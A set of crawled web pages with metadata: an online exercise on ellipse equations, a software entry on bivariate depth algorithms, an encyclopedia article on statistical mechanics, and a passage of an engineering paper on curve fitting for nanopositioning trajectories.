http://wims.espe-nice-toulon.fr/wims/wims.cgi?lang=en&+module=H6%2Fgeometry%2Fellchoice.en	[ "!! used as default html header if there is none in the selected theme. Choice of ellipses\n\n# Choice of ellipses --- Introduction ---\n\nAn ellipse (oriented horizontally/vertically) is described by an equation of the form\n\na(x-x0)2 + b(y-y0)2 = c,\n\nor of the form\n\na x2+ b y2+ c x+ d y+ e = 0,\n\nwhere (x0,y0) is the center of the ellipse and the ratio between the two axes of the ellipse is described by the ratio between a and b (how?).\n\nThis online exercise can either plot an ellipse and ask you to recognize its equation among a list to choose from, or give an equation and ask you to recognize the plotted ellipse among a list to choose from.\n\nConfiguration of the exercise :\n• .\n• .\n• And a session will be composed of ( with a score assigned at the end of each session).\nOther exercises on:\nIn order to access WIMS services, you need a browser supporting forms. In order to test the browser you are using, please type the word wims here: and press Enter''." ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.9220302,"math_prob":0.96147734,"size":687,"snap":"2021-43-2021-49","text_gpt3_token_len":169,"char_repetition_ratio":0.10834553,"word_repetition_ratio":0.03125,"special_character_ratio":0.2489083,"punctuation_ratio":0.093333334,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.98151785,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-12-09T03:24:39Z\",\"WARC-Record-ID\":\"<urn:uuid:cab4059b-8643-4fca-a72a-52462e699e89>\",\"Content-Length\":\"7296\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:c074225e-7ec9-4245-a165-69acc16e2d3f>\",\"WARC-Concurrent-To\":\"<urn:uuid:0959ef9e-9d05-446c-80c2-b4a612b68d2f>\",\"WARC-IP-Address\":\"134.59.80.237\",\"WARC-Target-URI\":\"http://wims.espe-nice-toulon.fr/wims/wims.cgi?lang=en&+module=H6%2Fgeometry%2Fellchoice.en\",\"WARC-Payload-Digest\":\"sha1:XBITO4JNKMRDDSNASYB7JAJKFI4DRNRL\",\"WARC-Block-Digest\":\"sha1:Q3WGTWW3DB4NPKKUN4IOEH5NFPUT56JS\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-49/CC-MAIN-2021-49_segments_1637964363659.21_warc_CC-MAIN-20211209030858-20211209060858-00235.warc.gz\"}"}
https://swmath.org/software/14162	[ "# AS 307\n\nAlgorithm AS 307: Bivariate location depth. he half-space depth of a point θ relative to a bivariate data set {x 1 ,⋯,x n } is given by the smallest number of data points contained in a closed half-plane of which the boundary line passes through θ. A straightforward algorithm for the half-space depth needs O(n 2 ) steps. The simplicial depth of θ relative to {x 1 ,⋯,x n } is given by the number of data triangles Δ(x i ,x j ,x k ) that contain θ; this appears to require O(n 3 ) steps. The algorithm proposed here computes both depths in O(nlogn) time, by combining geometric properties with certain sorting and updating mechanisms. Both types of depth can be used for data description, bivariate confidence regions, p-values, quality indices and control charts. Moreover, the algorithm can be extended to the computation of depth contours and bivariate sign test statistics.\n\n##", null, "Keywords for this software\n\nAnything in here will be replaced on browsers that support the canvas element\n\n## References in zbMATH (referenced in 61 articles , 1 standard article )\n\nShowing results 1 to 20 of 61.\nSorted by year (citations)" ]	[ null, "https://swmath.org/media/img/minus.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.71310043,"math_prob":0.93165845,"size":3290,"snap":"2022-27-2022-33","text_gpt3_token_len":899,"char_repetition_ratio":0.11412051,"word_repetition_ratio":0.02,"special_character_ratio":0.25227964,"punctuation_ratio":0.22063492,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9823121,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-07-05T16:41:28Z\",\"WARC-Record-ID\":\"<urn:uuid:d9cbf51e-2d7b-4e15-ab53-69222af68829>\",\"Content-Length\":\"37433\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:c3ac249e-d049-469d-83fd-b33d91d4aefa>\",\"WARC-Concurrent-To\":\"<urn:uuid:6c075013-45a1-47d1-9bb1-c27d86fb9e29>\",\"WARC-IP-Address\":\"141.66.193.30\",\"WARC-Target-URI\":\"https://swmath.org/software/14162\",\"WARC-Payload-Digest\":\"sha1:BV64XOD4QHIMA665Z3XTQTTX5MFTVDJM\",\"WARC-Block-Digest\":\"sha1:ZJWXP6PR4UDEIDEI3I64QRXPXICH6LDV\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-27/CC-MAIN-2022-27_segments_1656104585887.84_warc_CC-MAIN-20220705144321-20220705174321-00255.warc.gz\"}"}
https://en.m.wikipedia.org/wiki/Statistical_mechanics	[ "# Statistical mechanics\n\nIn physics, statistical mechanics is a mathematical framework that applies statistical methods and probability theory to large assemblies of microscopic entities. It does not assume or postulate any natural laws, but explains the macroscopic behavior of nature from the behavior of such ensembles.\n\nSometimes called statistical physics or statistical thermodynamics, its applications include many problems in the fields of physics, biology, chemistry, and neuroscience. Its main purpose is to clarify the properties of matter in aggregate, in terms of physical laws governing atomic motion.\n\nStatistical mechanics arose out of the development of classical thermodynamics, a field for which it was successful in explaining macroscopic physical properties—such as temperature, pressure, and heat capacity—in terms of microscopic parameters that fluctuate about average values and are characterized by probability distributions.\n\nThe founding of the field of statistical mechanics is generally credited to three physicists:\n\nWhile classical thermodynamics is primarily concerned with thermodynamic equilibrium, statistical mechanics has been applied in non-equilibrium statistical mechanics to the issues of microscopically modeling the speed of irreversible processes that are driven by imbalances. Examples of such processes include chemical reactions and flows of particles and heat. The fluctuation–dissipation theorem is the basic knowledge obtained from applying non-equilibrium statistical mechanics to study the simplest non-equilibrium situation of a steady state current flow in a system of many particles.\n\n## History\n\nIn 1738, Swiss physicist and mathematician Daniel Bernoulli published Hydrodynamica which laid the basis for the kinetic theory of gases. In this work, Bernoulli posited the argument, still used to this day, that gases consist of great numbers of molecules moving in all directions, that their impact on a surface causes the gas pressure that we feel, and that what we experience as heat is simply the kinetic energy of their motion.\n\nIn 1859, after reading a paper on the diffusion of molecules by Rudolf Clausius, Scottish physicist James Clerk Maxwell formulated the Maxwell distribution of molecular velocities, which gave the proportion of molecules having a certain velocity in a specific range. This was the first-ever statistical law in physics. Maxwell also gave the first mechanical argument that molecular collisions entail an equalization of temperatures and hence a tendency towards equilibrium. Five years later, in 1864, Ludwig Boltzmann, a young student in Vienna, came across Maxwell's paper and spent much of his life developing the subject further.\n\nStatistical mechanics was initiated in the 1870s with the work of Boltzmann, much of which was collectively published in his 1896 Lectures on Gas Theory. Boltzmann's original papers on the statistical interpretation of thermodynamics, the H-theorem, transport theory, thermal equilibrium, the equation of state of gases, and similar subjects, occupy about 2,000 pages in the proceedings of the Vienna Academy and other societies. Boltzmann introduced the concept of an equilibrium statistical ensemble and also investigated for the first time non-equilibrium statistical mechanics, with his H-theorem.\n\nThe term \"statistical mechanics\" was coined by the American mathematical physicist J. Willard Gibbs in 1884.[note 1] \"Probabilistic mechanics\" might today seem a more appropriate term, but \"statistical mechanics\" is firmly entrenched. Shortly before his death, Gibbs published in 1902 Elementary Principles in Statistical Mechanics, a book which formalized statistical mechanics as a fully general approach to address all mechanical systems—macroscopic or microscopic, gaseous or non-gaseous. Gibbs' methods were initially derived in the framework classical mechanics, however they were of such generality that they were found to adapt easily to the later quantum mechanics, and still form the foundation of statistical mechanics to this day.\n\n## Principles: mechanics and ensembles\n\nIn physics, two types of mechanics are usually examined: classical mechanics and quantum mechanics. For both types of mechanics, the standard mathematical approach is to consider two concepts:\n\nUsing these two concepts, the state at any other time, past or future, can in principle be calculated. There is however a disconnect between these laws and everyday life experiences, as we do not find it necessary (nor even theoretically possible) to know exactly at a microscopic level the simultaneous positions and velocities of each molecule while carrying out processes at the human scale (for example, when performing a chemical reaction). Statistical mechanics fills this disconnection between the laws of mechanics and the practical experience of incomplete knowledge, by adding some uncertainty about which state the system is in.\n\nWhereas ordinary mechanics only considers the behaviour of a single state, statistical mechanics introduces the statistical ensemble, which is a large collection of virtual, independent copies of the system in various states. The statistical ensemble is a probability distribution over all possible states of the system. In classical statistical mechanics, the ensemble is a probability distribution over phase points (as opposed to a single phase point in ordinary mechanics), usually represented as a distribution in a phase space with canonical coordinate axes. In quantum statistical mechanics, the ensemble is a probability distribution over pure states,[note 2] and can be compactly summarized as a density matrix.\n\nAs is usual for probabilities, the ensemble can be interpreted in different ways:\n\n• an ensemble can be taken to represent the various possible states that a single system could be in (epistemic probability, a form of knowledge), or\n• the members of the ensemble can be understood as the states of the systems in experiments repeated on independent systems which have been prepared in a similar but imperfectly controlled manner (empirical probability), in the limit of an infinite number of trials.\n\nThese two meanings are equivalent for many purposes, and will be used interchangeably in this article.\n\nHowever the probability is interpreted, each state in the ensemble evolves over time according to the equation of motion. Thus, the ensemble itself (the probability distribution over states) also evolves, as the virtual systems in the ensemble continually leave one state and enter another. The ensemble evolution is given by the Liouville equation (classical mechanics) or the von Neumann equation (quantum mechanics). These equations are simply derived by the application of the mechanical equation of motion separately to each virtual system contained in the ensemble, with the probability of the virtual system being conserved over time as it evolves from state to state.\n\nOne special class of ensemble is those ensembles that do not evolve over time. These ensembles are known as equilibrium ensembles and their condition is known as statistical equilibrium. Statistical equilibrium occurs if, for each state in the ensemble, the ensemble also contains all of its future and past states with probabilities equal to the probability of being in that state.[note 3] The study of equilibrium ensembles of isolated systems is the focus of statistical thermodynamics. Non-equilibrium statistical mechanics addresses the more general case of ensembles that change over time, and/or ensembles of non-isolated systems.\n\n## Statistical thermodynamics\n\nThe primary goal of statistical thermodynamics (also known as equilibrium statistical mechanics) is to derive the classical thermodynamics of materials in terms of the properties of their constituent particles and the interactions between them. In other words, statistical thermodynamics provides a connection between the macroscopic properties of materials in thermodynamic equilibrium, and the microscopic behaviours and motions occurring inside the material.\n\nWhereas statistical mechanics proper involves dynamics, here the attention is focussed on statistical equilibrium (steady state). Statistical equilibrium does not mean that the particles have stopped moving (mechanical equilibrium), rather, only that the ensemble is not evolving.\n\n### Fundamental postulate\n\nA sufficient (but not necessary) condition for statistical equilibrium with an isolated system is that the probability distribution is a function only of conserved properties (total energy, total particle numbers, etc.). There are many different equilibrium ensembles that can be considered, and only some of them correspond to thermodynamics. Additional postulates are necessary to motivate why the ensemble for a given system should have one form or another.\n\nA common approach found in many textbooks is to take the equal a priori probability postulate. This postulate states that\n\nFor an isolated system with an exactly known energy and exactly known composition, the system can be found with equal probability in any microstate consistent with that knowledge.\n\nThe equal a priori probability postulate therefore provides a motivation for the microcanonical ensemble described below. There are various arguments in favour of the equal a priori probability postulate:\n\n• Ergodic hypothesis: An ergodic system is one that evolves over time to explore \"all accessible\" states: all those with the same energy and composition. In an ergodic system, the microcanonical ensemble is the only possible equilibrium ensemble with fixed energy. This approach has limited applicability, since most systems are not ergodic.\n• Principle of indifference: In the absence of any further information, we can only assign equal probabilities to each compatible situation.\n• Maximum information entropy: A more elaborate version of the principle of indifference states that the correct ensemble is the ensemble that is compatible with the known information and that has the largest Gibbs entropy (information entropy).\n\nOther fundamental postulates for statistical mechanics have also been proposed. For example, recent studies shows that the theory of statistical mechanics can be built without the equal a priori probability postulate. One such formalism is based on the fundamental thermodynamic relation together with the following set of postulates:\n\n1. The probability density function is proportional to some function of the ensemble parameters and random variables.\n2. Thermodynamic state functions are described by ensemble averages of random variables.\n3. The entropy as defined by Gibbs entropy formula matches with the entropy as defined in classical thermodynamics.\n\nwhere the third postulate can be replaced by the following:\n\n1. At infinite temperature, all the microstates have the same probability.\n\n### Three thermodynamic ensembles\n\nThere are three equilibrium ensembles with a simple form that can be defined for any isolated system bounded inside a finite volume. These are the most often discussed ensembles in statistical thermodynamics. In the macroscopic limit (defined below) they all correspond to classical thermodynamics.\n\nMicrocanonical ensemble\ndescribes a system with a precisely given energy and fixed composition (precise number of particles). The microcanonical ensemble contains with equal probability each possible state that is consistent with that energy and composition.\nCanonical ensemble\ndescribes a system of fixed composition that is in thermal equilibrium[note 4] with a heat bath of a precise temperature. The canonical ensemble contains states of varying energy but identical composition; the different states in the ensemble are accorded different probabilities depending on their total energy.\nGrand canonical ensemble\ndescribes a system with non-fixed composition (uncertain particle numbers) that is in thermal and chemical equilibrium with a thermodynamic reservoir. The reservoir has a precise temperature, and precise chemical potentials for various types of particle. The grand canonical ensemble contains states of varying energy and varying numbers of particles; the different states in the ensemble are accorded different probabilities depending on their total energy and total particle numbers.\n\nFor systems containing many particles (the thermodynamic limit), all three of the ensembles listed above tend to give identical behaviour. It is then simply a matter of mathematical convenience which ensemble is used. The Gibbs theorem about equivalence of ensembles was developed into the theory of concentration of measure phenomenon, which has applications in many areas of science, from functional analysis to methods of artificial intelligence and big data technology.\n\nImportant cases where the thermodynamic ensembles do not give identical results include:\n\n• Microscopic systems.\n• Large systems at a phase transition.\n• Large systems with long-range interactions.\n\nIn these cases the correct thermodynamic ensemble must be chosen as there are observable differences between these ensembles not just in the size of fluctuations, but also in average quantities such as the distribution of particles. The correct ensemble is that which corresponds to the way the system has been prepared and characterized—in other words, the ensemble that reflects the knowledge about that system.\n\nThermodynamic ensembles\nMicrocanonical Canonical Grand canonical\nFixed variables $E,N,V$ $T,N,V$ $T,\\mu ,V$\nMicroscopic features Number of microstates Canonical partition function Grand partition function\n$W$ $Z=\\sum _{k}e^{-E_{k}/k_{B}T}$ ${\\mathcal {Z}}=\\sum _{k}e^{-(E_{k}-\\mu N_{k})/k_{B}T}$\nMacroscopic function Boltzmann entropy Helmholtz free energy Grand potential\n$S=k_{B}\\log W$ $F=-k_{B}T\\log Z$ $\\Omega =-k_{B}T\\log {\\mathcal {Z}}$\n\n### Calculation methods\n\nOnce the characteristic state function for an ensemble has been calculated for a given system, that system is 'solved' (macroscopic observables can be extracted from the characteristic state function). Calculating the characteristic state function of a thermodynamic ensemble is not necessarily a simple task, however, since it involves considering every possible state of the system. While some hypothetical systems have been exactly solved, the most general (and realistic) case is too complex for an exact solution. Various approaches exist to approximate the true ensemble and allow calculation of average quantities.\n\n#### Exact\n\nThere are some cases which allow exact solutions.\n\n#### Monte Carlo\n\nAlthough some problems in statistical physics can be solved analytically using approximations and expansions, most current research utilizes the large processing power of modern computers to simulate or approximate solutions. A common approach to statistical problems is to use a Monte Carlo simulation to yield insight into the properties of a complex system. Monte Carlo methods are important in computational physics, physical chemistry, and related fields, and have diverse applications including medical physics, where they are used to model radiation transport for radiation dosimetry calculations.\n\nThe Monte Carlo method examines just a few of the possible states of the system, with the states chosen randomly (with a fair weight). As long as these states form a representative sample of the whole set of states of the system, the approximate characteristic function is obtained. As more and more random samples are included, the errors are reduced to an arbitrarily low level.\n\n#### Other\n\n• For rarefied non-ideal gases, approaches such as the cluster expansion use perturbation theory to include the effect of weak interactions, leading to a virial expansion.\n• For dense fluids, another approximate approach is based on reduced distribution functions, in particular the radial distribution function.\n• Molecular dynamics computer simulations can be used to calculate microcanonical ensemble averages, in ergodic systems. With the inclusion of a connection to a stochastic heat bath, they can also model canonical and grand canonical conditions.\n• Mixed methods involving non-equilibrium statistical mechanical results (see below) may be useful.\n\n## Non-equilibrium statistical mechanics\n\nMany physical phenomena involve quasi-thermodynamic processes out of equilibrium, for example:\n\nAll of these processes occur over time with characteristic rates. These rates are important in engineering. The field of non-equilibrium statistical mechanics is concerned with understanding these non-equilibrium processes at the microscopic level. (Statistical thermodynamics can only be used to calculate the final result, after the external imbalances have been removed and the ensemble has settled back down to equilibrium.)\n\nIn principle, non-equilibrium statistical mechanics could be mathematically exact: ensembles for an isolated system evolve over time according to deterministic equations such as Liouville's equation or its quantum equivalent, the von Neumann equation. These equations are the result of applying the mechanical equations of motion independently to each state in the ensemble. These ensemble evolution equations inherit much of the complexity of the underlying mechanical motion, and so exact solutions are very difficult to obtain. Moreover, the ensemble evolution equations are fully reversible and do not destroy information (the ensemble's Gibbs entropy is preserved). In order to make headway in modelling irreversible processes, it is necessary to consider additional factors besides probability and reversible mechanics.\n\nNon-equilibrium mechanics is therefore an active area of theoretical research as the range of validity of these additional assumptions continues to be explored. A few approaches are described in the following subsections.\n\n### Stochastic methods\n\nOne approach to non-equilibrium statistical mechanics is to incorporate stochastic (random) behaviour into the system. Stochastic behaviour destroys information contained in the ensemble. While this is technically inaccurate (aside from hypothetical situations involving black holes, a system cannot in itself cause loss of information), the randomness is added to reflect that information of interest becomes converted over time into subtle correlations within the system, or to correlations between the system and environment. These correlations appear as chaotic or pseudorandom influences on the variables of interest. By replacing these correlations with randomness proper, the calculations can be made much easier.\n\n• Boltzmann transport equation: An early form of stochastic mechanics appeared even before the term \"statistical mechanics\" had been coined, in studies of kinetic theory. James Clerk Maxwell had demonstrated that molecular collisions would lead to apparently chaotic motion inside a gas. Ludwig Boltzmann subsequently showed that, by taking this molecular chaos for granted as a complete randomization, the motions of particles in a gas would follow a simple Boltzmann transport equation that would rapidly restore a gas to an equilibrium state (see H-theorem).\n\nThe Boltzmann transport equation and related approaches are important tools in non-equilibrium statistical mechanics due to their extreme simplicity. These approximations work well in systems where the \"interesting\" information is immediately (after just one collision) scrambled up into subtle correlations, which essentially restricts them to rarefied gases. The Boltzmann transport equation has been found to be very useful in simulations of electron transport in lightly doped semiconductors (in transistors), where the electrons are indeed analogous to a rarefied gas.\n\nA quantum technique related in theme is the random phase approximation.\n• BBGKY hierarchy: In liquids and dense gases, it is not valid to immediately discard the correlations between particles after one collision. The BBGKY hierarchy (Bogoliubov–Born–Green–Kirkwood–Yvon hierarchy) gives a method for deriving Boltzmann-type equations but also extending them beyond the dilute gas case, to include correlations after a few collisions.\n• Keldysh formalism (a.k.a. NEGF—non-equilibrium Green functions): A quantum approach to including stochastic dynamics is found in the Keldysh formalism. This approach is often used in electronic quantum transport calculations.\n• Stochastic Liouville equation.\n\n### Near-equilibrium methods\n\nAnother important class of non-equilibrium statistical mechanical models deals with systems that are only very slightly perturbed from equilibrium. With very small perturbations, the response can be analysed in linear response theory. A remarkable result, as formalized by the fluctuation–dissipation theorem, is that the response of a system when near equilibrium is precisely related to the fluctuations that occur when the system is in total equilibrium. Essentially, a system that is slightly away from equilibrium—whether put there by external forces or by fluctuations—relaxes towards equilibrium in the same way, since the system cannot tell the difference or \"know\" how it came to be away from equilibrium.: 664\n\nThis provides an indirect avenue for obtaining numbers such as ohmic conductivity and thermal conductivity by extracting results from equilibrium statistical mechanics. Since equilibrium statistical mechanics is mathematically well defined and (in some cases) more amenable for calculations, the fluctuation–dissipation connection can be a convenient shortcut for calculations in near-equilibrium statistical mechanics.\n\nA few of the theoretical tools used to make this connection include:\n\n### Hybrid methods\n\nAn advanced approach uses a combination of stochastic methods and linear response theory. As an example, one approach to compute quantum coherence effects (weak localization, conductance fluctuations) in the conductance of an electronic system is the use of the Green–Kubo relations, with the inclusion of stochastic dephasing by interactions between various electrons by use of the Keldysh method.\n\n## Applications\n\nThe ensemble formalism can be used to analyze general mechanical systems with uncertainty in knowledge about the state of a system. Ensembles are also used in:\n\nStatistical physics explains and quantitatively describes superconductivity, superfluidity, turbulence, collective phenomena in solids and plasma, and the structural features of liquid. It underlies the modern astrophysics. In solid state physics, statistical physics aids the study of liquid crystals, phase transitions, and critical phenomena. Many experimental studies of matter are entirely based on the statistical description of a system. These include the scattering of cold neutrons, X-ray, visible light, and more. Statistical physics also plays a role in materials science, nuclear physics, astrophysics, chemistry, biology and medicine (e.g. study of the spread of infectious diseases).\n\nAnalytical and computational techniques derived from statistical physics of disordered systems, can be extended to large-scale problems, including machine learning, e.g., to analyze the weight space of deep neural networks. Statistical physics is thus finding applications in the area of medical diagnostics.\n\n### Quantum statistical mechanics\n\nQuantum statistical mechanics is statistical mechanics applied to quantum mechanical systems. In quantum mechanics, a statistical ensemble (probability distribution over possible quantum states) is described by a density operator S, which is a non-negative, self-adjoint, trace-class operator of trace 1 on the Hilbert space H describing the quantum system. This can be shown under various mathematical formalisms for quantum mechanics. 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https://www.mdpi.com/2072-666X/10/9/597/htm	[ "Next Article in Journal\nA Gas Mixture Prediction Model Based on the Dynamic Response of a Metal-Oxide Sensor\n\nMicromachines 2019, 10(9), 597; https://doi.org/10.3390/mi10090597\n\nArticle\nTrajectory Definition with High Relative Accuracy (HRA) by Parametric Representation of Curves in Nano-Positioning Systems\nby", null, "Lucía Díaz Pérez 1,", null, ",", null, "Beatriz Rubio Serrano 2,", null, "Esmeralda Mainar Maza 2 and", null, "Marta Torralba Gracia 3", null, "1\nAragon Institute of Engineering Research (I3A), University of Zaragoza, C/María de Luna 3, 50018 Zaragoza, Spain\n2\nDepartment of Applied Mathematics, University Research Institute of Mathematics and its Applications(IUMA), University of Zaragoza, C/María de Luna, 3, 50018 Zaragoza, Spain\n3\nCentro Universitario de la Defensa, Ctra. Huesca s/n, 50090 Zaragoza, Spain\n\nAuthor to whom correspondence should be addressed.\nReceived: 8 July 2019 / Accepted: 7 September 2019 / Published: 10 September 2019\n\nAbstract\n\n:\nNanotechnology applications demand high accuracy positioning systems. Therefore, in order to achieve sub-micrometer accuracy, positioning uncertainty contributions must be minimized by implementing precision positioning control strategies. The positioning control system accuracy must be analyzed and optimized, especially when the system is required to follow a predefined trajectory. In this line of research, this work studies the contribution of the trajectory definition errors to the final positioning uncertainty of a large-range 2D nanopositioning stage. The curve trajectory is defined by curve fitting using two methods: traditional CAD/CAM systems and novel algorithms for accurate curve fitting. This novel method has an interest in computer-aided geometric design and approximation theory, and allows high relative accuracy (HRA) in the computation of the representations of parametric curves while minimizing the numerical errors. It is verified that the HRA method offers better positioning accuracy than commonly used CAD/CAM methods when defining a trajectory by curve fitting: When fitting a curve by interpolation with the HRA method, fewer data points are required to achieve the precision requirements. Similarly, when fitting a curve by a least-squares approximation, for the same set of given data points, the HRA method is capable of obtaining an accurate approximation curve with fewer control points.\nKeywords:\nnano-positioning; CAD/CAM systems; high relative accuracy (HRA)\n\n1. Introduction\n\nCurrent trends in precision engineering demand high accuracy positioning systems that can be used for measuring and manufacturing applications . For these, the meteorological challenge is an obstacle to the achievement of high accuracy, repeatability, and stability at sub-micrometer and nanometre scales over long travel ranges . In these systems, the positioning error is minimized by implementing precision engineering design principles. In addition, the control system performance must be optimized to reduce the positioning uncertainty. In this line of research, at the University of Zaragoza, a novel nanopositioning platform (NanoPla) has been designed, built, and implemented . The NanoPla requirements imply sub-micrometer accuracy in a large working range of 50 mm × 50 mm.\nIn some nanomanufacturing applications, nanopositioning stages are required to follow a predefined trajectory with a sub-micrometer precision . The definition of a trajectory in traditional manufacturing systems, such as machine tools, proceeds as follows: First, the geometry is defined in a CAD program; then, this geometry is exported to a CAM program, where the machine and the toolpath generation conditions are set. However, simpler geometries can be directly designed in the CAM program. In addition, some programs include CAM and CAD functions within the same software. Finally, by means of a post-processor, a specific numerical control (NC) program is created . Nevertheless, creating a complex curve in a CAD/CAM system is not always straightforward [6,7,8]. In CAD/CAM systems, complex curve trajectories are usually defined by curve fitting, having as input a set of points belonging to the nominal curve trajectory. The resultant fitting curve produces an equation that can compute points anywhere along the trajectory. This equation is determined by a set of control points together with the fitting method basis. However, trajectory definition by curve fitting in CAD/CAM systems results in fitting errors that, even though in traditional manufacturing systems are negligible, in nanopositioning stages can contribute greatly to the final positioning uncertainty of the stage.\nIn CAD/CAM systems, curve fitting is commonly performed by interpolation or by least-squares approximation. There are many types of interpolation methods, such as linear, circular, and polynomial interpolation . Linear interpolation results in polylines, inducing large geometrical deviations that can only be reduced at the expense of the amount of data. On the contrary, spline interpolation can transform a large number of linear blocks into just a few spline blocks. In spline interpolation, the resultant curve depends on the control points obtained. When the trajectory is obtained by spline interpolation of a great number of interpolation points, a great number of control points is needed and the computational complexity increases. On the other hand, the curve obtained by a spline least-squares approximation does not necessarily contain all the given data points, but only approximately fits them. The number of control points that define the approximation curve is related to how close the resultant curve fits the given data points. Nevertheless, control points may be redundant or inadequate. Redundant control points unnecessarily increase the computational complexity without decreasing the fitting errors, whereas inadequate control points increase the fitting errors and, thus, the curve fails to satisfy the precision requirements . Thus, the challenge of curve fitting, either by interpolation or approximation, lies in obtaining the most accurate trajectory, without compromising the computational efficiency.\nOther works have focused on optimizing trajectory generation for a smooth interpolating motion, in order to respect the machine kinematic feed-rate and acceleration limits, as well as to avoid fluctuations due to discontinuities in the first derivatives along the tool path. Spline-type interpolation has been applied in high-speed machining to limit the speed discontinuities while respecting the contour tolerance [10,12]. The target of these works is to achieve a confined error and minimal machining time; however, this task becomes harder for more accurate tolerances.\nIn the NanoPla application, speed and acceleration control is not as critical as accurately following a predefined trajectory. Therefore, an accurate curve fitting method capable of offering high accuracy in position definition along the whole trajectory is required. This work presents a novel method for accurate curve fitting with shape-preserving representations, allowing high relative accuracy (HRA) in the computations. Performing an algorithm with HRA is a very desirable goal, because it implies that the relative errors of the computations will be of the order of the machine precision, independent of the size of the problem. The proposed method, which will be called the HRA method, is based on recent advances in numerical linear algebra (see and the references therein). This method considerably improves the precision in curve fitting and, thus, minimizes the contribution of the trajectory fitting errors in the total positioning uncertainty of a nanopositioning stage, such as the NanoPla. The obtained fitting trajectories have continuous successive derivatives, which can also be efficiently evaluated. In this work, curve fitting is performed by interpolation and by least-squares approximation. The HRA method has been developed taking into account both cases. In this article, the contribution to the final positioning error of the NanoPla in terms of the fitting errors of the novel HRA method is compared to the contribution of the fitting errors obtained by traditional CAD/CAM systems, considering also the number of data points and control points required to define the resultant curve, in each case. In addition, the relevance of the resultant fitting errors of each method, in terms of the final positioning error of the NanoPla, is experimentally analyzed.\n\n2. Curve Fitting in Computer Aided Geometric Design (CAGD)\n\nDue to the importance of curve definition in this work, this section briefly explains the procedures for defining a curve by interpolation or by least squares approximation.\nInterpolation is a fundamental tool in CAGD. Given a basis $( u 0 , … , u n )$ of functions defined on I and a set of data points, $p 1 , … , p l + 1$, corresponding to parameters $t 1 , … , t l + 1$, the objective of interpolation is to find a curve,\n$γ ( t ) : = ∑ i = 0 n P i + 1 u i ( t ) , t ∈ I ,$\nwhich passes through the given data points; that is, $γ ( t i ) = p i$, $i = 1 , … , l + 1$ (see Figure 1). The points $P 1 , … , P n + 1$ are called control points. The polygon $P 1 ⋯ P n + 1$, whose vertices are the control points, is called the control polygon.\nIt is worth noting that the number of control points $P 1 , … , P n + 1$ necessary to define the curve is equal to the number of interpolated data points ($l = n$). A better approximation to the curve to be fitted would be expected by increasing the number of given data points. Nevertheless, increasing the number of data points increases the number of control points and, thus, the complexity of the curve and computation.\nOn the other hand, an approximation curve is a curve that approximately fits the given data points but does not necessarily include them (see Figure 2). The most common technique for finding such curves is known as least squares approximation. It should be noted that, in an approximation, the number of control points that define the approximation curve are fewer than the number of given data points ($l > n$). Therefore, when fitting the same set of given data points $p 1 , … , p l + 1$, an approximation curve requires less computation than an interpolating curve representation (see Figure 2).\n\n3. Materials and Methods\n\nNow that the basis of curve definition has been explained, we first present an overview of the NanoPla. The NanoPla is a nanopositioning system, which is used to perform the experimental analysis of trajectory definition errors. Then, we define the analysis procedure which is utilized in this work for the comparison of the novel curve fitting method with traditional methods.\n\n3.1. Nanopositioning Platform (NanoPla)\n\nThe NanoPla consists of three stages: a superior and an inferior base, both of which are fixed, and a moving platform placed in the middle (Figure 3). Three air-bearings levitate the moving platform, while Halbach linear motors generate the required forces for planar motion. A 2D laser system works as a positioning sensor, which provides positioning feedback in the X- and Y-axes and rotation around the Z-axis . The control strategy presented in was adapted and implemented in the NanoPla, in order to minimize the errors introduced by the control hardware and software. The resultant positioning control system of the NanoPla performs the motion and allows accurate positioning over a large range, up to 50 mm × 50 mm.\nThe NanoPla has been designed to work together with different kinds of tools and probes in various applications, such as metrology or nanomanufacturing. Some of these applications require the NanoPla to follow a specific trajectory; for example, one previously designed in a CAD/CAM system. Nevertheless, defining complex curve trajectories in traditional CAD/CAM systems results in trajectory definition errors, which can highly increase the final positioning error of the NanoPla. In Section 5, the positioning uncertainty of the NanoPla positioning system is calculated, in order to confine the trajectory definition errors such that they do not significantly affect the final positioning error.\n\n3.2. Analysis Procedure\n\nIn this work, we analyze the errors in the definition of a trajectory determined by fitting a set of given data points $p 1 , … , p l + 1$. These given data points belong to a curve which was chosen to be a parametric curve, such that the resultant trajectory can be compared with the nominal values of the curve. The selected parametric curve is a cycloid, where the components $x ( t )$, $y ( t )$ take the form:\n$x ( t ) : = r ( t − sin t ) , t ∈ [ 0 , 2 π ] y ( t ) : = r ( 1 − cos t ) .$\nCycloids are commonly used geometric figures in manufacturing applications (e.g., as gear tooth geometry). The cycloid is a transcendental curve and, thus, cannot be expressed by polynomials exactly. For this reason, cycloids cannot be incorporated into most commercial CAD systems .\nThe rest of the paper is organized as follows: first, the HRA method is presented in Section 4. Then, the positioning uncertainty of the NanoPla control system is assessed in Section 5. Knowing the positioning uncertainty of the system allows us to confine the error in the trajectory definition (i.e., fitting error), such that it would not have a significant influence on the total NanoPla positioning error. Then, in Section 6, curve fitting is applied to a determined set of data points, $p 1 , ⋯ , p l + 1$, belonging to a cycloid of radius 1 mm, obtained for equidistant parameters on the interval $t ∈ ( 0 , 2 π )$. Curve fitting is performed by interpolation and least-squares approximation using two different methods: the HRA method, as described in Section 4, and in commonly used commercial CAD/CAM software. The resultant curve obtained by linear interpolation, the most commonly used interpolation method in numerical control (NC), is also included in the comparison. In addition, the resultant fitting errors are related to the number of control points required for the curve construction in each case, due to their relation to the final computational complexity. The target of Section 6 is to confirm that the HRA method is capable of satisfying the precision requirements with a minimum quantity of data points in the interpolation case, and with a minimum number of control points in the case of the least-squares approximation, in contrast to CAD/CAM methods. Finally, in Section 7, the relevance of the curve fitting errors in the total positioning error of the NanoPla is 